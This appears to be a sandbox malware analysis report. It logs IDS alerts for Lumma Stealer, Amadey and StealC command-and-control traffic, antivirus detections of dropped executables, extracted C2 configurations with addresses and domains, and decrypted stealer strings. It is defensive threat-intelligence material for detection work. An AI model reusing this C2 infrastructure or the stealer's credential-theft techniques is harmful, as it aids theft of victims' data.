2024-10-31T02:08:03.852369+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	188.114.97.3	443	TCP
2024-10-31T02:08:05.524164+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	188.114.97.3	443	TCP
2024-10-31T02:08:07.260589+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	188.114.97.3	443	TCP
2024-10-31T02:08:09.235931+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	188.114.97.3	443	TCP
2024-10-31T02:08:12.115624+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	188.114.97.3	443	TCP
2024-10-31T02:09:37.947265+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49996	188.114.97.3	443	TCP
2024-10-31T02:09:39.133062+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49999	188.114.97.3	443	TCP
2024-10-31T02:09:40.685439+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50000	188.114.97.3	443	TCP
2024-10-31T02:09:42.050673+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50001	188.114.97.3	443	TCP
2024-10-31T02:09:43.640232+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50002	188.114.97.3	443	TCP
2024-10-31T02:09:45.213533+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50003	188.114.97.3	443	TCP
2024-10-31T02:09:47.262786+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50004	188.114.97.3	443	TCP
2024-10-31T02:09:49.256929+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50008	188.114.97.3	443	TCP
2024-10-31T02:09:53.297608+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50009	188.114.97.3	443	TCP
2024-10-31T02:09:54.633105+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50010	188.114.97.3	443	TCP
2024-10-31T02:09:56.037749+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50012	188.114.97.3	443	TCP
2024-10-31T02:09:57.598598+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50014	188.114.97.3	443	TCP
2024-10-31T02:10:00.891522+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50019	188.114.97.3	443	TCP
2024-10-31T02:10:20.559477+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50027	188.114.97.3	443	TCP
2024-10-31T02:10:27.183510+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50028	188.114.97.3	443	TCP
2024-10-31T02:10:29.057430+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50029	188.114.97.3	443	TCP
2024-10-31T02:10:30.534033+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50031	188.114.97.3	443	TCP
2024-10-31T02:10:32.033697+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50032	188.114.97.3	443	TCP
2024-10-31T02:10:33.909314+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50033	188.114.97.3	443	TCP
2024-10-31T02:10:40.741196+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50034	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:08:13.563271+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49712	185.215.113.16	80	TCP
2024-10-31T02:09:56.885736+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50013	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:09:19.552049+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49988	185.215.113.43	80	TCP
2024-10-31T02:09:30.460210+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49994	185.215.113.43	80	TCP
2024-10-31T02:09:38.327037+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49997	185.215.113.43	80	TCP
2024-10-31T02:09:47.771574+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50005	185.215.113.43	80	TCP
2024-10-31T02:09:55.765956+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50011	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:07:58.757963+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	60700	1.1.1.1	53	UDP
2024-10-31T02:09:37.293909+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	58098	1.1.1.1	53	UDP
2024-10-31T02:09:52.646255+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	50276	1.1.1.1	53	UDP
2024-10-31T02:10:19.352345+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	63679	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:07:58.767818+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	55423	1.1.1.1	53	UDP
2024-10-31T02:09:37.304982+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	62815	1.1.1.1	53	UDP
2024-10-31T02:09:52.657496+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	54065	1.1.1.1	53	UDP
2024-10-31T02:10:19.539736+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	58874	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:07:58.789507+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	59702	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:07:58.744082+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	55307	1.1.1.1	53	UDP
2024-10-31T02:09:37.283047+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	51574	1.1.1.1	53	UDP
2024-10-31T02:09:52.633225+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	56536	1.1.1.1	53	UDP
2024-10-31T02:10:19.040473+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	49620	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:07:58.777528+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	51177	1.1.1.1	53	UDP
2024-10-31T02:09:37.315329+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	61524	1.1.1.1	53	UDP
2024-10-31T02:09:52.668004+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	62096	1.1.1.1	53	UDP
2024-10-31T02:10:19.757025+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	63316	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:08:03.123301+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	188.114.97.3	443	TCP
2024-10-31T02:09:45.786400+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50003	188.114.97.3	443	TCP
2024-10-31T02:10:34.243245+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50033	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:09:49.311990+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50007	185.215.113.206	80	TCP
2024-10-31T02:10:09.501953+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50025	185.215.113.206	80	TCP
2024-10-31T02:10:17.213356+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50026	185.215.113.206	80	TCP
2024-10-31T02:10:31.181778+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50030	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:09:04.309246+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49964	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:09:18.640732+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49977	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:09:07.633893+0100	2803305	3	Unknown Traffic	192.168.2.5	49982	154.216.17.34	80	TCP
2024-10-31T02:09:20.461266+0100	2803305	3	Unknown Traffic	192.168.2.5	49990	31.41.244.11	80	TCP
2024-10-31T02:09:31.375453+0100	2803305	3	Unknown Traffic	192.168.2.5	49995	185.215.113.16	80	TCP
2024-10-31T02:09:39.239973+0100	2803305	3	Unknown Traffic	192.168.2.5	49998	185.215.113.16	80	TCP
2024-10-31T02:09:49.011188+0100	2803305	3	Unknown Traffic	192.168.2.5	50006	185.215.113.16	80	TCP
2024-10-31T02:09:56.885736+0100	2803305	3	Unknown Traffic	192.168.2.5	50013	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T02:09:47.265607+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50004	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Avira: detection malicious, Label: HEUR/AGEN.1360656
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\configuredInstallerEXE[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1360656

Found malware configuration

Source: 00000004.00000003.2281466208.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.7112.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "scriptyprefej.store", "thumbystriw.store", "presticitpo.store", "necklacedmny.store", "crisiwarny.store", "founpiuer.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\configuredInstallerEXE[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002758001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\BackupOfflineDownload.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002758001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\RemotePrinterSecurity.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\ThreadRestartTerminal.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\configuredInstallerEXE[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: 30
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: 11
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: 20
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: 24
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetProcAddress
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: LoadLibraryA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: lstrcatA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: OpenEventA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CreateEventA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CloseHandle
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Sleep
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: VirtualFree
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetSystemInfo
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: VirtualAlloc
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: HeapAlloc
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetComputerNameA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: lstrcpyA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetProcessHeap
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetCurrentProcess
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: lstrlenA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ExitProcess
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetSystemTime
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: advapi32.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: gdi32.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: user32.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: crypt32.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ntdll.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetUserNameA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CreateDCA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetDeviceCaps
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ReleaseDC
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: sscanf
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: VMwareVMware
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: HAL9TH
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: JohnDoe
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: DISPLAY
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: http://185.215.113.206
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: bksvnsj
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: tale
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetFileAttributesA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GlobalLock
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: HeapFree
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetFileSize
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GlobalSize
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: IsWow64Process
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Process32Next
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetLocalTime
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: FreeLibrary
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: Process32First
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: DeleteFileA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: FindNextFileA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: LocalFree
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: FindClose
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: LocalAlloc
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetFileSizeEx
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ReadFile
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SetFilePointer
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: WriteFile
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CreateFileA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: FindFirstFileA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CopyFileA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: VirtualProtect
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetLastError
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: lstrcpynA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GlobalFree
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GlobalAlloc
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: OpenProcess
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: TerminateProcess
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: gdiplus.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ole32.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: bcrypt.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: wininet.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: shlwapi.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: shell32.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: psapi.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SelectObject
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: BitBlt
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: DeleteObject
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GdiplusStartup
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GdiplusShutdown
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GdipDisposeImage
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GdipFree
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CoUninitialize
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CoInitialize
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CoCreateInstance
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: BCryptDecrypt
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: BCryptSetProperty
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetWindowRect
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetDesktopWindow
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetDC
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CloseWindow
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: wsprintfA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CharToOemW
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: wsprintfW
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RegQueryValueExA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RegCloseKey
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: RegEnumValueA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: CryptUnprotectData
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: ShellExecuteExA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: InternetConnectA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: InternetCloseHandle
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: InternetOpenA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: HttpSendRequestA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: InternetReadFile
Source: 23.2.fc0b992f89.exe.ca0000.0.unpack	String decryptor: InternetCrackUrlA
